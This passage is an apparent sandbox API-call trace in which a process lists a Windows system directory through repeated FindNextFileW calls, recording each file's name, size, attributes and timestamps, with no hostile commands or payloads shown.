ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5083df00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5083df00, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assembly", cAlternateFileName="")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97675415, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97675415, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x977f21d7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bfsvc.exe", cAlternateFileName="")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x5562e640, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x5562e640, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x62c48a60, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstat.dat", cAlternateFileName="")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Branding", cAlternateFileName="")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaad14480, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xaad14480, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSC", cAlternateFileName="")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cursors", cAlternateFileName="")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x782cee30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x782cee30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="debug", cAlternateFileName="")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalLocker", cAlternateFileName="DIGITA~1")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloaded Program Files", cAlternateFileName="DOWNLO~1")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb94625, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xffb94625, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xc42eeb80, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0xae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DtcInstall.log", cAlternateFileName="DTCINS~1.LOG")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehome", cAlternateFileName="")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="explorer.exe", cAlternateFileName="")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87c438a0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x87c438a0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0a7e9b0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc0a7e9b0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2da8a60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fveupdate.exe", cAlternateFileName="")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9340f25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Globalization", cAlternateFileName="GLOBAL~1")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0158.107] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a5a972, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x34a5a972, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpPane.exe", cAlternateFileName="")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16ca6ff3, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x16ca6ff3, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hh.exe", cAlternateFileName="")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3763cf0c, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x678d9360, ftLastAccessTime.dwHighDateTime=0x1d85957, ftLastWriteTime.dwLowDateTime=0x678d9360, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="inf", cAlternateFileName="")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x5031f80, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x57fb4f20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x57fb4f20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2Schemas", cAlternateFileName="L2SCHE~1")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe60eb80, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LiveKernelReports", cAlternateFileName="LIVEKE~1")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x24316f70, ftLastAccessTime.dwHighDateTime=0x1d706af, ftLastWriteTime.dwLowDateTime=0x24316f70, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media", cAlternateFileName="")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f29dbd7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7f29dbd7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9d4aec0c, ftLastWriteTime.dwHighDateTime=0x1ca040e, nFileSizeHigh=0x0, nFileSizeLow=0xa87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mib.bin", cAlternateFileName="")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5d2bf3f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5d2bf3f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf40e6d30, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf40e6d30, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf40e6d30, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1 [0158.108] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea5f2b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfea5f2b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9fcbcbb0, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModemLogs", cAlternateFileName="MODEML~1")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82fedc8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc82fedc8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x2d6b0bf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.ini", cAlternateFileName="")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb2c4cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8eb2c4cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb804920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline Web Pages", cAlternateFileName="OFFLIN~1")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e1cc01, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc4e1cc01, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0x88f8a140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x678c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFRO.log", cAlternateFileName="")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea8540c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeaf781a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeaf781a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLA", cAlternateFileName="")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb1d974, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x495c5340, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x495c5340, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PolicyDefinitions", cAlternateFileName="POLICY~1")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xab5b5440, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x8f9bf0f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x8f9bf0f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prefetch", cAlternateFileName="")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf9a5c4e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaf9cbebd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x5b155ccd, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xd12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Professional.xml", cAlternateFileName="PROFES~1.XML")) returned 1 [0158.109] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71a7c91c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x71a7c91c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xedf95f70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x68400, dwReserved0=0x0, dwReserved1=0x0, cFileName="regedit.exe", cAlternateFileName="")) returned 1 [0158.110] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb43ace, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0158.110] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb69c28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7df0c2b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7df0c2b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rescache", cAlternateFileName="")) returned 1 [0158.110] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb8fd82, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0158.110] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebb5edc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfebb5edc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xcb547a92, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, 